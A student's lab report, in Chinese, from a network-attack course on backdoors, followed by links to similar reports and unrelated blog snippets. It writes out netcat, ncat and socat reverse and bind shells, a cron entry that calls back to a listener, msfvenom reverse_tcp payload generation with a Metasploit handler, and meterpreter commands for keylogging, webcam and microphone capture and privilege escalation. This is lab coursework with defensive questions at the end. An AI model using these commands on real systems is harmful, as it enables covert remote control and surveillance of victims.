20155217《网络对抗》Exp02 后门原理与实践

实验要求

  1. 使用netcat获取主机操作Shell,cron启动。

  2. 使用socat获取主机操作Shell,任务计划启动。

  3. 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell。

  4. 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权。

  5. 可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)加分内容一并写入本实验报告。

常用后门工具实践

Win获得Linux Shell

  • 在Windows下,使用ipconfig指令查看本机IP:

  • windows下用ncat.exe打开监听端口ncat.exe -l -p 5217

  • Linux下用nc指令反弹连接win端口nc 172.20.10.2 5217 -e /bin/sh

  • windows下成功获得一个linux shell,可运行任何指令,运行ls指令如下。

Linux获得Win Shell

  • 在Kali环境下,使用ifconfig查看IP。

  • Linux用nc监听端口nc -l -p 5217

  • Windows用ncat.exe反弹连接Linux端口ncat.exe -e cmd.exe 172.20.10.3 5217

  • Linux下看到Windows的命令提示。

使用nc传输数据

  • Windows下监听5217端口ncat.exe -l 5217

  • Linux下连接到Windows的5217端口nc 172.20.10.2 5217

  • 建立连接之后,就可传输文件。

使用netcat获取主机操作Shell,cron启动

  • 在Windows系统下监听5217端口ncat.exe -l -p 5217

  • 在Linux环境下,使用man crontab指令查看crontab的帮助文档。从文档中我们可以知道crontab指令可以用于设置周期性被执行的指令

  • crontab -e编辑一条定时任务。

  • 在最后一行添加49 * * * * /bin/netcat 172.20.10.2 5217 -e /bin/sh

  • 当时间到了22点49时,此时已经获得了Linux的shell,可以输入指令。

使用socat获取主机操作Shell, 任务计划启动

socatncat的增强版,它使用的格式是socat [options] <address> <address>,其中两个address是必选项,而options是可选项。

socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。

  • 在Windows系统下,打开控制面板->管理工具->任务计划程序,创建任务,填写任务名称后,新建一个触发器。

  • 操作->程序中选择socat.exe文件的路径,在添加参数一栏填写tcp-listen:5217 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口5217,同时把cmd.exe的stderr重定向到stdout。

  • 创建完成之后,点击运行。

  • 在Linux环境下输入指令·socat - tcp:172.20.10.2:5217,此时可以发现已经成功获得了一个cmd shell

使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

  • 输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.20.10.3 LPORT=5217 -f exe > 20155217_backdoor.exe生成后门程序。

  • 通过nc指令将生成的后门程序传送到Windows主机上。nc 172.20.10.1 5217 < 20155217_backdoor.exencat.exe -l 5217 > 20155217_backdoor.exe

  • 在Linux上使用msfconsole指令进入msf控制台

  • 在msf的命令下输入命令use exploit/multi/handler,payload设置命令set payload windows/meterpreter/reverse_tcp,继续设置IP(此处设置虚拟机的Linux的IP地址)和端口5217。

  • Linux使用exploit命令开始监听,此时在Win上执行后门程序。

  • 打开win后门程序,此时Linux上已经获得了Windows主机的连接,并且得到了远程控制的shell。

使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

  • 使用record_mic指令可以截获一段音频

  • 使用webcam_snap指令可以使用摄像头进行拍照

  • 使用webcam stream指令可以使用摄像头进行录像(运行失败)

  • 使用screenshot指令可以进行截屏

  • 使用keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录

  • 使用getuid指令查看当前用户,使用getsystem指令进行提权。

基础问题回答

  • 例举你能想到的一个后门进入到你系统中的可能方式?
后门程序通过邮件发送,并不小心点开了恶意链接。

U盘里的文件不安全,插入电脑将其文件保存在电脑内

浏览不安全的网站,误点危险信息。

下载软件时,后门可能安装在捆绑软件中。

  • 例举你知道的后门如何启动起来(win及linux)的方式?
自己不小心点击运行了后门程。

自行篡改注册表,将其设为开机自动运行。

被控端被设置了cron启动,定时循环启动。

被控端被设置了任务计划启动socat,在被控端达到某个条件时程序运行,且此时控制端可自由连接控制被控端。

与其他具有正常功能的程序进行了绑定,在运行正常程序时,连带着运行后门。

后门被设置为成服务,且其名字与系统服务名字类似。

  • Meterpreter有哪些给你映像深刻的功能?
获取击键记录能得到很多信息,像什么密码啊、浏览记录啊、聊天记录啊,都非常容易被人窃取到进行分析。

能通过指令获取控制摄像头。

后门程序能迁移到其他正常运行的程序中去,隐藏得很深。

  • 如何发现自己有系统有没有被安装后门?
查看注册表、进程、服务等,是否有未知的程序。

下载专门的监控软件进行监控操作系统。

检查防火墙开启的端口和它对应的进程。

实验总结与体会

在使用MSF的时候,非常轻易的就从Win上获取到了许多信息,这个过程是相当爽的。而且通过实验才了解到平常会“忽略”的防火墙原来这么的重要,如果没有多层拦截与防护,电脑不堪一击。另外,win10虽然有很多无语的地方,但本身的安全性还是值得肯定的= =。

20155217《网络对抗》Exp02 后门原理与实践的更多相关文章

  1. 20155323刘威良 网络对抗 Exp2 后门原理与实践

    20155323 刘威良<网络攻防>Exp2后门原理与实践 实验内容 (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用socat获取主机操作Shell, ...

  2. 20155211《网络对抗》Exp02 后门原理与实践

    20155211<网络对抗>Exp02 后门原理与实践 实验内容 (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, 任务计划启动 ( ...

  3. 20155331 丹增旦达 网络攻防 Exp2后门原理与实践

    20155331 丹增旦达<网络攻防>Exp2后门原理与实践 实验内容 (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, 任务计划启 ...

  4. 20155302 Exp2 后门原理与实践

    20155302<网络对抗>后门原理与实践 实验要求 1.使用netcat获取主机操作Shell,cron启动 (0.5分) 2.使用socat获取主机操作Shell, 任务计划启动 (0 ...

  5. 2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践 1. 后门原理与实践实验说明及预备知识 一.实验说明 任务一:使用netcat获取主机操作Shell,cron启动 ( ...

  6. 20155324《网络对抗》Exp2 后门原理与实践

    20155324<网络对抗>Exp2 后门原理与实践 20155324<网络对抗>Exp2 后门原理与实践 常用后门工具实践 Windows获得Linux Shell 在Win ...

  7. 2018-2019-2 20165237《网络对抗技术》Exp2 后门原理与实践

    2018-2019-2 20165237<网络对抗技术>Exp2 后门原理与实践 一.实践目标 使用netcat获取主机操作Shell,cron启动 使用socat获取主机操作Shell, ...

  8. 20165221 《网络对抗技术》EXP2:后门原理与实践

    20165221 <网络对抗技术>EXP2:后门原理与实践 实验任务 任务一:使用netcat获取主机操作Shell,cron启动 (0.5分) 任务二:使用socat获取主机操作Shel ...

  9. 2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践 实验内容(概要): (1)使用netcat获取主机Shell,cron启动 首先两个电脑(虚拟机)都得有netcat, ...

随机推荐

  1. iostart 命令

    Linux系统中的 iostat命令可以对系统的磁盘IO和CPU使用情况进行监控.iostat属于sysstat软件包,可以用yum -y install sysstat 直接安装. 格式: iost ...

  2. JQuery判断数组中是否包含某个字符串

    var arry = [ "C#", "html", "css", "JavaScript" ]; var result ...

  3. Unity Frame Debugger连接Android真机调试

    当用Profiler分析到不是代码导致的性能问题,当前场景最大的性能瓶颈是渲染时,或者自己写的Shader要调试时,都可以用Frame Debugger进行调试. 按下列步骤设置打包,既可以用Prof ...

  4. CentOS7安装mysql后无法启动服务,提示Unit not found

    首发日期: 2018-01-30 现象: 在centOS7中启动MySQL数据库提示: Failed to start mysqld.service: Unit not found [明明已经安装了, ...

  5. 转: ASP.NET MVC 多语言配置

    步骤1:打开VS2015新建测试项目. 步骤2:创建资源文件 App_GlobalResources下.    Resource1.resx    Resource1.zh-cn.resx   步骤3 ...

  6. .net 页面传参方式总结

    一.使用Querystring Querystring是一种非常简单的传值方式,其缺点就是:安全性低.会把要传送的值显示在浏览器的地址栏中(也就是不需要保密得参数),并且在此方法中不能够传递对象,参数 ...

  7. 【Python】【unittest】unittest测试框架中setup,teardown与setupclass,teardownclass的区别

    # -*- coding:utf-8 -*- import unittest def runTest(testcaseclass,testcase=[]): suite = unittest.Test ...

  8. Android 生态消息推送平台介绍

    一.手机厂商平台 华为消息推送服务 华为推送(Push)是为开发者提供的消息推送平台,建立了从云端到手机端的消息推送通道,使应用可以将最新信息及时通知用户,从而构筑良好的用户关系,提升用户的感知和活跃 ...

  9. Python接口自动化--SSL 3

    官方文档参考地址: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings 针对SSL Warnings,u ...

  10. python第二十九课——文件读写(读取读取中文字符)

    演示:读取中文字符 结论: 1).如果不设置encoding,默认使用gbk进行编解码 2).如果编码和解码不一致,最终导致报错,但是一旦设置了errors='ingore',那么就不会报错,而采取乱 ...